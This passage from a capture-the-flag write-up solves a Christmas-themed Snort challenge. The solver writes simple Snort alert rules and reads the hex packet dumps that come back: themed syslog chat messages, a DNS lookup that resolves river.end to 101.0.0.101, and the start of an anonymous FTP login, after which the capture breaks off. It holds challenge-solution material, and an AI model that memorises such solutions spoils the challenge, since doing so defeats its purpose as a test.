0x0060: 69 72 20 2D 20 2D 20 5B 74 69 6D 65 51 75 61 6C  ir - - [timeQual
0x0070: 69 74 79 20 74 7A 4B 6E 6F 77 6E 3D 22 31 22 20  ity tzKnown="1"
0x0080: 69 73 53 79 6E 63 65 64 3D 22 30 22 5D 20 53 75  isSynced="0"] Su
0x0090: 72 74 72 20 68 61 73 20 69 6E 74 65 72 65 73 74  rtr has interest
0x00A0: 69 6E 67 20 70 6F 69 6E 74 73                    ing points

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+


12/24-15:00:21.010607  [**] [1:0:0] [**] [Priority: 0] {UDP} 0.0.0.0:59858 -> 255.255.255.255:514
12/24-15:00:21.010607 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0xA5
0.0.0.0:59858 -> 255.255.255.255:514 UDP TTL:64 TOS:0x0 ID:42167 IpLen:20 DgmLen:151 DF
Len: 123
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 00 97 A4 B7 40 00 40 11 95 9F 00 00 00 00 FF FF  ....@.@.........
0x0020: FF FF E9 D2 02 02 00 83 17 20 3C 31 33 3E 31 20  ......... <13>1
0x0030: 32 30 32 34 2D 31 32 2D 32 34 54 31 36 3A 30 30  2024-12-24T16:00
0x0040: 3A 32 31 2E 30 31 30 35 32 37 2B 30 31 3A 30 30  :21.010527+01:00
0x0050: 20 4D 75 73 70 65 6C 68 69 65 6D 20 53 75 72 74   Muspelhiem Surt
0x0060: 72 20 2D 20 2D 20 5B 74 69 6D 65 51 75 61 6C 69  r - - [timeQuali
0x0070: 74 79 20 74 7A 4B 6E 6F 77 6E 3D 22 31 22 20 69  ty tzKnown="1" i
0x0080: 73 53 79 6E 63 65 64 3D 22 30 22 5D 20 54 68 69  sSynced="0"] Thi
0x0090: 73 20 68 6F 77 20 69 74 73 20 64 6F 6E 65 20 72  s how its done r
0x00A0: 69 67 68 74 3F                                   ight?

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+


12/24-15:00:22.016927  [**] [1:0:0] [**] [Priority: 0] {UDP} 0.0.0.0:52152 -> 255.255.255.255:514
12/24-15:00:22.016927 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0xA8
0.0.0.0:52152 -> 255.255.255.255:514 UDP TTL:64 TOS:0x0 ID:48075 IpLen:20 DgmLen:154 DF
Len: 126
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 00 9A BB CB 40 00 40 11 7E 88 00 00 00 00 FF FF  ....@.@.~.......
0x0020: FF FF CB B8 02 02 00 86 23 D1 3C 31 33 3E 31 20  ........#.<13>1
0x0030: 32 30 32 34 2D 31 32 2D 32 34 54 31 36 3A 30 30  2024-12-24T16:00
0x0040: 3A 32 32 2E 30 31 36 38 31 37 2B 30 31 3A 30 30  :22.016817+01:00
0x0050: 20 4D 75 73 70 65 6C 68 69 65 6D 20 53 75 72 74   Muspelhiem Surt
0x0060: 72 20 2D 20 2D 20 5B 74 69 6D 65 51 75 61 6C 69  r - - [timeQuali
0x0070: 74 79 20 74 7A 4B 6E 6F 77 6E 3D 22 31 22 20 69  ty tzKnown="1" i
0x0080: 73 53 79 6E 63 65 64 3D 22 30 22 5D 20 49 27 6C  sSynced="0"] I'l
0x0090: 6C 20 74 61 6B 65 20 73 69 6C 65 6E 63 65 20 61  l take silence a
0x00A0: 73 20 61 20 79 65 73 2E                          s a yes.

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+


12/24-15:00:24.150709  [**] [1:0:0] [**] [Priority: 0] {UDP} 0.0.0.0:36196 -> 255.255.255.255:514
12/24-15:00:24.150709 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0xB8
0.0.0.0:36196 -> 255.255.255.255:514 UDP TTL:64 TOS:0x0 ID:42611 IpLen:20 DgmLen:170 DF
Len: 142
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 00 AA A6 73 40 00 40 11 93 D0 00 00 00 00 FF FF  ...s@.@.........
0x0020: FF FF 8D 64 02 02 00 96 40 9C 3C 31 33 3E 31 20  ...d....@.<13>1
0x0030: 32 30 32 34 2D 31 32 2D 32 34 54 31 36 3A 30 30  2024-12-24T16:00
0x0040: 3A 32 34 2E 31 35 30 36 33 37 2B 30 31 3A 30 30  :24.150637+01:00
0x0050: 20 4D 75 73 70 65 6C 68 69 65 6D 20 53 75 72 74   Muspelhiem Surt
0x0060: 72 20 2D 20 2D 20 5B 74 69 6D 65 51 75 61 6C 69  r - - [timeQuali
0x0070: 74 79 20 74 7A 4B 6E 6F 77 6E 3D 22 31 22 20 69  ty tzKnown="1" i
0x0080: 73 53 79 6E 63 65 64 3D 22 30 22 5D 20 4D 75 73  sSynced="0"] Mus
0x0090: 70 65 6C 68 69 65 6D 20 69 73 20 70 72 65 70 61  pelhiem is prepa
0x00A0: 72 65 64 2C 20 74 68 65 20 67 6F 64 73 20 77 69  red, the gods wi
0x00B0: 6C 6C 20 66 61 6C 6C 2E                          ll fall.

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+


12/24-15:00:28.351521  [**] [1:0:0] [**] [Priority: 0] {UDP} 0.0.0.0:38287 -> 255.255.255.255:514
12/24-15:00:28.351521 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0xBB
0.0.0.0:38287 -> 255.255.255.255:514 UDP TTL:64 TOS:0x0 ID:28571 IpLen:20 DgmLen:173 DF
Len: 145
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 00 AD 6F 9B 40 00 40 11 CA A5 00 00 00 00 FF FF  ..o.@.@.........
0x0020: FF FF 95 8F 02 02 00 99 CB E1 3C 31 33 3E 31 20  ..........<13>1
0x0030: 32 30 32 34 2D 31 32 2D 32 34 54 31 36 3A 30 30  2024-12-24T16:00
0x0040: 3A 32 38 2E 33 35 31 34 33 37 2B 30 31 3A 30 30  :28.351437+01:00
0x0050: 20 4D 75 73 70 65 6C 68 69 65 6D 20 53 75 72 74   Muspelhiem Surt
0x0060: 72 20 2D 20 2D 20 5B 74 69 6D 65 51 75 61 6C 69  r - - [timeQuali
0x0070: 74 79 20 74 7A 4B 6E 6F 77 6E 3D 22 31 22 20 69  ty tzKnown="1" i
0x0080: 73 53 79 6E 63 65 64 3D 22 30 22 5D 20 4C 6F 6F  sSynced="0"] Loo
0x0090: 6B 20 66 6F 72 20 74 68 65 20 72 69 76 65 72 2E  k for the river.
0x00A0: 65 6E 64 20 74 6F 20 67 61 74 68 65 72 20 74 68  end to gather th
0x00B0: 65 20 6C 61 73 74 20 66 6C 61 67                 e last flag

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+


12/24-15:00:29.623636  [**] [1:0:0] [**] [Priority: 0] {UDP} 0.0.0.0:58908 -> 255.255.255.255:514
12/24-15:00:29.623636 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0xA9
0.0.0.0:58908 -> 255.255.255.255:514 UDP TTL:64 TOS:0x0 ID:26020 IpLen:20 DgmLen:155 DF
Len: 127
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 00 9B 65 A4 40 00 40 11 D4 AE 00 00 00 00 FF FF  ..e.@.@.........
0x0020: FF FF E6 1C 02 02 00 87 CE 04 3C 31 33 3E 31 20  ..........<13>1
0x0030: 32 30 32 34 2D 31 32 2D 32 34 54 31 36 3A 30 30  2024-12-24T16:00
0x0040: 3A 32 39 2E 36 32 33 35 34 39 2B 30 31 3A 30 30  :29.623549+01:00
0x0050: 20 4D 75 73 70 65 6C 68 69 65 6D 20 53 75 72 74   Muspelhiem Surt
0x0060: 72 20 2D 20 2D 20 5B 74 69 6D 65 51 75 61 6C 69  r - - [timeQuali
0x0070: 74 79 20 74 7A 4B 6E 6F 77 6E 3D 22 31 22 20 69  ty tzKnown="1" i
0x0080: 73 53 79 6E 63 65 64 3D 22 30 22 5D 20 4D 61 72  sSynced="0"] Mar
0x0090: 63 68 69 6E 67 20 74 6F 20 77 61 72 2C 20 6E 6F  ching to war, no
0x00A0: 77 20 77 65 20 61 72 65 2E                       w we are.

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+


12/24-15:00:38.979519  [**] [1:0:0] [**] [Priority: 0] {UDP} 0.0.0.0:54473 -> 255.255.255.255:514
12/24-15:00:38.979519 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0xAA
0.0.0.0:54473 -> 255.255.255.255:514 UDP TTL:64 TOS:0x0 ID:16953 IpLen:20 DgmLen:156 DF
Len: 128
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 00 9C 42 39 40 00 40 11 F8 18 00 00 00 00 FF FF  ..B9@.@.........
0x0020: FF FF D4 C9 02 02 00 88 9D DA 3C 31 33 3E 31 20  ..........<13>1
0x0030: 32 30 32 34 2D 31 32 2D 32 34 54 31 36 3A 30 30  2024-12-24T16:00
0x0040: 3A 33 38 2E 39 37 39 34 35 33 2B 30 31 3A 30 30  :38.979453+01:00
0x0050: 20 4D 75 73 70 65 6C 68 69 65 6D 20 66 65 6E 72   Muspelhiem fenr
0x0060: 69 72 20 2D 20 2D 20 5B 74 69 6D 65 51 75 61 6C  ir - - [timeQual
0x0070: 69 74 79 20 74 7A 4B 6E 6F 77 6E 3D 22 31 22 20  ity tzKnown="1"
0x0080: 69 73 53 79 6E 63 65 64 3D 22 30 22 5D 20 53 75  isSynced="0"] Su
0x0090: 72 74 72 20 68 61 73 20 69 6E 74 65 72 65 73 74  rtr has interest
0x00A0: 69 6E 67 20 70 6F 69 6E 74 73                    ing points

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

We find a chat, important here is the mention of river.end.

The planted flag at the river’s end

Once again, lets first find the IP address of river.end:

Please input your magical sequence:
>>> alert udp any any -> any any (content:"river"; sid:1)

Sequence recieved. Validating magic sequence...
Validation succeeded. Beginning sequencing of your submission...
SNORT'er finished with the following results:
12/24-15:00:28.351521  [**] [1:1:0] [**] [Priority: 0] {UDP} 0.0.0.0:38287 -> 255.255.255.255:514
12/24-15:00:28.351521 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0xBB
0.0.0.0:38287 -> 255.255.255.255:514 UDP TTL:64 TOS:0x0 ID:28571 IpLen:20 DgmLen:173 DF
Len: 145
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 00 AD 6F 9B 40 00 40 11 CA A5 00 00 00 00 FF FF  ..o.@.@.........
0x0020: FF FF 95 8F 02 02 00 99 CB E1 3C 31 33 3E 31 20  ..........<13>1
0x0030: 32 30 32 34 2D 31 32 2D 32 34 54 31 36 3A 30 30  2024-12-24T16:00
0x0040: 3A 32 38 2E 33 35 31 34 33 37 2B 30 31 3A 30 30  :28.351437+01:00
0x0050: 20 4D 75 73 70 65 6C 68 69 65 6D 20 53 75 72 74   Muspelhiem Surt
0x0060: 72 20 2D 20 2D 20 5B 74 69 6D 65 51 75 61 6C 69  r - - [timeQuali
0x0070: 74 79 20 74 7A 4B 6E 6F 77 6E 3D 22 31 22 20 69  ty tzKnown="1" i
0x0080: 73 53 79 6E 63 65 64 3D 22 30 22 5D 20 4C 6F 6F  sSynced="0"] Loo
0x0090: 6B 20 66 6F 72 20 74 68 65 20 72 69 76 65 72 2E  k for the river.
0x00A0: 65 6E 64 20 74 6F 20 67 61 74 68 65 72 20 74 68  end to gather th
0x00B0: 65 20 6C 61 73 74 20 66 6C 61 67                 e last flag

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+


12/24-15:00:34.641058  [**] [1:1:0] [**] [Priority: 0] {UDP} 0.0.0.0:50706 -> 53.255.255.35:53
12/24-15:00:34.641058 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0x5C
0.0.0.0:50706 -> 53.255.255.35:53 UDP TTL:64 TOS:0x0 ID:7390 IpLen:20 DgmLen:78
Len: 50
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 00 4E 1C DE 00 00 40 11 28 9F 00 00 00 00 35 FF  .N....@.(.....5.
0x0020: FF 23 C6 12 00 35 00 3A A2 09 78 B9 01 20 00 01  .#...5.:..x.. ..
0x0030: 00 00 00 00 00 01 05 72 69 76 65 72 03 65 6E 64  .......river.end
0x0040: 00 00 01 00 01 00 00 29 04 D0 00 00 00 00 00 0C  .......)........
0x0050: 00 0A 00 08 E0 6B 92 62 DB 5E 4C C2              .....k.b.^L.

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+


12/24-15:00:34.650697  [**] [1:1:0] [**] [Priority: 0] {UDP} 53.255.255.35:53 -> 0.0.0.0:50706
12/24-15:00:34.650697 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0x55
53.255.255.35:53 -> 0.0.0.0:50706 UDP TTL:64 TOS:0x0 ID:60202 IpLen:20 DgmLen:71 DF
Len: 43
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 00 47 EB 2A 40 00 40 11 1A 59 35 FF FF 23 00 00  .G.*@.@..Y5..#..
0x0020: 00 00 00 35 C6 12 00 33 36 0A 78 B9 85 00 00 01  ...5...36.x.....
0x0030: 00 01 00 00 00 00 05 72 69 76 65 72 03 65 6E 64  .......river.end
0x0040: 00 00 01 00 01 C0 0C 00 01 00 01 00 00 0E 10 00  ................
0x0050: 04 65 00 00 65                                   .e..e

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

Decoding the IP bytes, we get 101.0.0.101, so lets have a look:

Please input your magical sequence:
>>> alert tcp any any <> 101.0.0.101 any

Sequence recieved. Validating magic sequence...
Validation succeeded. Beginning sequencing of your submission...
SNORT'er finished with the following results:
12/24-15:00:35.891970  [**] [1:0:0] [**] [Priority: 0] {TCP} 0.0.0.0:59982 -> 101.0.0.101:21
12/24-15:00:35.891970 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0x4A
0.0.0.0:59982 -> 101.0.0.101:21 TCP TTL:64 TOS:0x0 ID:21553 IpLen:20 DgmLen:60 DF
******S* Seq: 0x7661A44A  Ack: 0x0  Win: 0xFFFF  TcpLen: 40
TCP Options (5) => MSS: 65495 SackOK TS: 1614795381 0 NOP WS: 2
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 00 3C 54 31 40 00 40 06 81 26 00 00 00 00 65 00  .<T1@.@..&....e.
0x0020: 00 65 EA 4E 00 15 76 61 A4 4A 00 00 00 00 A0 02  .e.N..va.J......
0x0030: FF FF B0 B7 00 00 02 04 FF D7 04 02 08 0A 60 3F  ..............`?
0x0040: D2 75 00 00 00 00 01 03 03 02                    .u........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+


12/24-15:00:35.891987  [**] [1:0:0] [**] [Priority: 0] {TCP} 101.0.0.101:21 -> 0.0.0.0:59982
12/24-15:00:35.891987 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0x4A
101.0.0.101:21 -> 0.0.0.0:59982 TCP TTL:64 TOS:0x0 ID:0 IpLen:20 DgmLen:60 DF
***A**S* Seq: 0xB9BA3BDC  Ack: 0x7661A44B  Win: 0xFFCB  TcpLen: 40
TCP Options (5) => MSS: 65495 SackOK TS: 473181618 1614795381 NOP WS: 7
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 00 3C 00 00 40 00 40 06 D5 57 65 00 00 65 00 00  .<..@.@..We..e..
0x0020: 00 00 00 15 EA 4E B9 BA 3B DC 76 61 A4 4B A0 12  .....N..;.va.K..
0x0030: FF CB 71 58 00 00 02 04 FF D7 04 02 08 0A 1C 34  ..qX...........4
0x0040: 2D B2 60 3F D2 75 01 03 03 07                    -.`?.u....

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+


12/24-15:00:35.892002  [**] [1:0:0] [**] [Priority: 0] {TCP} 0.0.0.0:59982 -> 101.0.0.101:21
12/24-15:00:35.892002 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0x42
0.0.0.0:59982 -> 101.0.0.101:21 TCP TTL:64 TOS:0x0 ID:21554 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x7661A44B  Ack: 0xB9BA3BDD  Win: 0x4000  TcpLen: 32
TCP Options (3) => NOP NOP TS: 1614795381 473181618
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 00 34 54 32 40 00 40 06 81 2D 00 00 00 00 65 00  .4T2@.@..-....e.
0x0020: 00 65 EA 4E 00 15 76 61 A4 4B B9 BA 3B DD 80 10  .e.N..va.K..;...
0x0030: 40 00 5A 14 00 00 01 01 08 0A 60 3F D2 75 1C 34  @.Z.......`?.u.4
0x0040: 2D B2                                            -.

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+


12/24-15:00:35.898791  [**] [1:0:0] [**] [Priority: 0] {TCP} 101.0.0.101:21 -> 0.0.0.0:59982
12/24-15:00:35.898791 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0x62
101.0.0.101:21 -> 0.0.0.0:59982 TCP TTL:64 TOS:0x0 ID:38858 IpLen:20 DgmLen:84 DF
***AP*** Seq: 0xB9BA3BDD  Ack: 0x7661A44B  Win: 0x200  TcpLen: 32
TCP Options (3) => NOP NOP TS: 473181624 1614795381
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 00 54 97 CA 40 00 40 06 3D 75 65 00 00 65 00 00  .T..@.@.=ue..e..
0x0020: 00 00 00 15 EA 4E B9 BA 3B DD 76 61 A4 4B 80 18  .....N..;.va.K..
0x0030: 02 00 97 D9 00 00 01 01 08 0A 1C 34 2D B8 60 3F  ...........4-.`?
0x0040: D2 75 32 32 30 20 52 69 76 65 72 20 66 72 6F 6D  .u220 River from
0x0050: 20 74 68 65 20 45 6E 64 20 6F 66 20 74 69 6D 65   the End of time
0x0060: 0D 0A                                            ..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+


12/24-15:00:35.898834  [**] [1:0:0] [**] [Priority: 0] {TCP} 0.0.0.0:59982 -> 101.0.0.101:21
12/24-15:00:35.898834 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0x42
0.0.0.0:59982 -> 101.0.0.101:21 TCP TTL:64 TOS:0x10 ID:21555 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x7661A44B  Ack: 0xB9BA3BFD  Win: 0x4000  TcpLen: 32
TCP Options (3) => NOP NOP TS: 1614795387 473181624
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 10  ..............E.
0x0010: 00 34 54 33 40 00 40 06 81 1C 00 00 00 00 65 00  .4T3@.@.......e.
0x0020: 00 65 EA 4E 00 15 76 61 A4 4B B9 BA 3B FD 80 10  .e.N..va.K..;...
0x0030: 40 00 59 E8 00 00 01 01 08 0A 60 3F D2 7B 1C 34  @.Y.......`?.{.4
0x0040: 2D B8                                            -.

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+


12/24-15:00:35.899104  [**] [1:0:0] [**] [Priority: 0] {TCP} 0.0.0.0:59982 -> 101.0.0.101:21
12/24-15:00:35.899104 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0x52
0.0.0.0:59982 -> 101.0.0.101:21 TCP TTL:64 TOS:0x10 ID:21556 IpLen:20 DgmLen:68 DF
***AP*** Seq: 0x7661A44B  Ack: 0xB9BA3BFD  Win: 0x4000  TcpLen: 32
TCP Options (3) => NOP NOP TS: 1614795388 473181624
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 10  ..............E.
0x0010: 00 44 54 34 40 00 40 06 81 0B 00 00 00 00 65 00  .DT4@.@.......e.
0x0020: 00 65 EA 4E 00 15 76 61 A4 4B B9 BA 3B FD 80 18  .e.N..va.K..;...
0x0030: 40 00 D1 F2 00 00 01 01 08 0A 60 3F D2 7C 1C 34  @.........`?.|.4
0x0040: 2D B8 55 53 45 52 20 61 6E 6F 6E 79 6D 6F 75 73  -.USER anonymous
0x0050: 0D 0A                                            ..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+


12/24-15:00:35.899123  [**] [1:0:0] [**] [Priority: 0] {TCP} 101.0.0.101:21 -> 0.0.0.0:59982
12/24-15:00:35.899123 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0x42
101.0.0.101:21 -> 0.0.0.0:59982 TCP TTL:64 TOS:0x0 ID:38859 IpLen:20 DgmLen:52 DF
***A**** Seq: 0xB9BA3BFD  Ack: 0x7661A45B  Win: 0x200  TcpLen: 32
TCP Options (3) => NOP NOP TS: 473181625 1614795388
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 00 34 97 CB 40 00 40 06 3D 94 65 00 00 65 00 00  .4..@.@.=.e..e..
0x0020: 00 00 00 15 EA 4E B9 BA 3B FD 76 61 A4 5B 80 10  .....N..;.va.[..
0x0030: 02 00 97 D6 00 00 01 01 08 0A 1C 34 2D B9 60 3F  ...........4-.`?
0x0040: D2 7C                                            .|

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+


12/24-15:00:35.901267  [**] [1:0:0] [**] [Priority: 0] {TCP} 101.0.0.101:21 -> 0.0.0.0:59982
12/24-15:00:35.901267 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0x64
101.0.0.101:21 -> 0.0.0.0:59982 TCP TTL:64 TOS:0x0 ID:38860 IpLen:20 DgmLen:86 DF
***AP*** Seq: 0xB9BA3BFD  Ack: 0x7661A45B  Win: 0x200  TcpLen: 32
TCP Options (3) => NOP NOP TS: 473181627 1614795388
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 00 56 97 CC 40 00 40 06 3D 71 65 00 00 65 00 00  .V..@.@.=qe..e..
0x0020: 00 00 00 15 EA 4E B9 BA 3B FD 76 61 A4 5B 80 18  .....N..;.va.[..
0x0030: 02 00 50 89 00 00 01 01 08 0A 1C 34 2D BB 60 3F  ..P........4-.`?
0x0040: D2 7C 33 33 31 20 50 6C 65 61 73 65 20 73 70 65  .|331 Please spe
0x0050: 63 69 66 79 20 74 68 65 20 70 61 73 73 77 6F 72  cify the passwor
0x0060: 64 2E 0D 0A                                      d...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+


12/24-15:00:35.901403  [**] [1:0:0] [**] [Priority: 0] {TCP} 0.0.0.0:59982 -> 101.0.0.101:21
12/24-15:00:35.901403 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0x53
0.0.0.0:59982 -> 101.0.0.101:21 TCP TTL:64 TOS:0x10 ID:21557 IpLen:20 DgmLen:69 DF
***AP*** Seq: 0x7661A45B  Ack: 0xB9BA3C1F  Win: 0x4000  TcpLen: 32
TCP Options (3) => NOP NOP TS: 1614795390 473181627
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 10  ..............E.
0x0010: 00 45 54 35 40 00 40 06 81 09 00 00 00 00 65 00  .ET5@.@.......e.
0x0020: 00 65 EA 4E 00 15 76 61 A4 5B B9 BA 3C 1F 80 18  .e.N..va.[..<...
0x0030: 40 00 8B C8 00 00 01 01 08 0A 60 3F D2 7E 1C 34  @.........`?.~.4
0x0040: 2D BB 50 41 53 53 20 61 6E 6F 6E 79 6D 6F 75 73  -.PASS anonymous
0x0050: 40 0D 0A                                         @..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+


12/24-15:00:35.903406  [**] [1:0:0] [**] [Priority: 0] {TCP} 101.0.0.101:21 -> 0.0.0.0:59982
12/24-15:00:35.903406 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0x59
101.0.0.101:21 -> 0.0.0.0:59982 TCP TTL:64 TOS:0x0 ID:38861 IpLen:20 DgmLen:75 DF
***AP*** Seq: 0xB9BA3C1F  Ack: 0x7661A46C  Win: 0x200  TcpLen: 32
TCP Options (3) => NOP NOP TS: 473181629 1614795390
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 00 4B 97 CD 40 00 40 06 3D 7B 65 00 00 65 00 00  .K..@.@.={e..e..
0x0020: 00 00 00 15 EA 4E B9 BA 3C 1F 76 61 A4 6C 80 18  .....N..<.va.l..
0x0030: 02 00 B6 05 00 00 01 01 08 0A 1C 34 2D BD 60 3F  ...........4-.`?
0x0040: D2 7E 32 33 30 20 4C 6F 67 69 6E 20 73 75 63 63  .~230 Login succ
0x0050: 65 73 73 66 75 6C 2E 0D 0A                       essful...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+


12/24-15:00:35.903596  [**] [1:0:0] [**] [Priority: 0] {TCP} 0.0.0.0:59982 -> 101.0.0.101:21
12/24-15:00:35.903596 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0x48
0.0.0.0:59982 -> 101.0.0.101:21 TCP TTL:64 TOS:0x10 ID:21558 IpLen:20 DgmLen:58 DF
***AP*** Seq: 0x7661A46C  Ack: 0xB9BA3C36  Win: 0x4000  TcpLen: 32
TCP Options (3) => NOP NOP TS: 1614795392 473181629
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 10  ..............E.
0x0010: 00 3A 54 36 40 00 40 06 81 13 00 00 00 00 65 00  .:T6@.@.......e.
0x0020: 00 65 EA 4E 00 15 76 61 A4 6C B9 BA 3C 36 80 18  .e.N..va.l..<6..
0x0030: 40 00 A5 BE 00 00 01 01 08 0A 60 3F D2 80 1C 34  @.........`?...4
0x0040: 2D BD 53 59 53 54 0D 0A                          -.SYST..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+


12/24-15:00:35.905623  [**] [1:0:0] [**] [Priority: 0] {TCP} 101.0.0.101:21 -> 0.0.0.0:59982
12/24-15:00:35.905623 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0x55
101.0.0.101:21 -> 0.0.0.0:59982 TCP TTL:64 TOS:0x0 ID:38862 IpLen:20 DgmLen:71 DF
***AP*** Seq: 0xB9BA3C36  Ack: 0x7661A472  Win: 0x200  TcpLen: 32
TCP Options (3) => NOP NOP TS: 473181631 1614795392
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 00 47 97 CE 40 00 40 06 3D 7E 65 00 00 65 00 00  .G..@.@.=~e..e..
0x0020: 00 00 00 15 EA 4E B9 BA 3C 36 76 61 A4 72 80 18  .....N..<6va.r..
0x0030: 02 00 30 11 00 00 01 01 08 0A 1C 34 2D BF 60 3F  ..0........4-.`?
0x0040: D2 80 32 31 35 20 55 4E 49 58 20 54 79 70 65 3A  ..215 UNIX Type:
0x0050: 20 4C 38 0D 0A                                    L8..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+


12/24-15:00:35.905774  [**] [1:0:0] [**] [Priority: 0] {TCP} 0.0.0.0:59982 -> 101.0.0.101:21
12/24-15:00:35.905774 00:00:00:00:00:00 -> 00:00:00:00:00:00 type:0x800 len:0x48
0.0.0.0:59982 -> 101.0.0.101:21 TCP TTL:64 TOS:0x10 ID:21559 IpLen:20 DgmLen:58 DF
***AP*** Seq: 0x7661A472  Ack: 0xB9BA3C49  Win: 0x4000  TcpLen: 32
TCP Options (3) => NOP NOP TS: 1614795394 473181631
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 10  ..............E.
0x0010: 00 3A 54 37 40 00 40 06 81 12 00 00 00 00 65 00  .:T7@.@.......e.
